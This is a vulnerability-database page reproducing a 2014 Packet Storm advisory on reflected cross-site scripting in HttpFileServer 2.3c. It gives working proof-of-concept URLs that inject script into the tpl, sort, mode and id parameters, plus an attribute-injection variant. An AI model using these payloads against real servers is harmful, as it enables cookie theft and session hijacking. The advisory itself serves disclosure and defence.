Lucene search
K

HttpFileServer 2.3c Cross Site Scripting

🗓️ 24 Sep 2014 00:00:00Reported by MahendraType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

HTTP File Server 2.3c vulnerability with multiple reflected cross-site scriptin

Code
`# Exploit Title: HttpFileServer 2.3c Multiple Reflected Cross-site scripting  
# Date: 24-09-2014  
# Remote: Yes  
# Exploit Author: Mahendra  
# Vendor Homepage: http://rejetto.com/  
# Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip  
# Version: 2.3c  
# Tested on: Windows XP SP 3, Windows 7  
  
The latest HTTP File Server (2.3c) was found to be vulnerable with multiple reflected cross-site scripting because the application did not properly validate user input.  
  
The proof of concept below only works on IE browser (tested on IE 6 and IE 11)  
  
-------------------------------------------------------------------  
HFS Multiple Reflected Cross-site Scripting (XSS)  
-------------------------------------------------------------------  
  
Proof of concepts:  
  
Affected parameters: tpl, sort, mode, id, and arbitrary parameter  
  
http://localhost/?tpl=list'/><script>alert(document.cookie)</script>&folders-filter=/&recursive  
  
http://localhost/?sort=n'/><script>alert(document.cookie)</script>  
  
http://localhost/?mode=n'/><script>alert(document.cookie)</script>  
  
http://localhost/?mode=section&id=style.css'/><script>alert(document.cookie)</script>  
  
http://localhost/?'onmouseover='alert(11)'  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation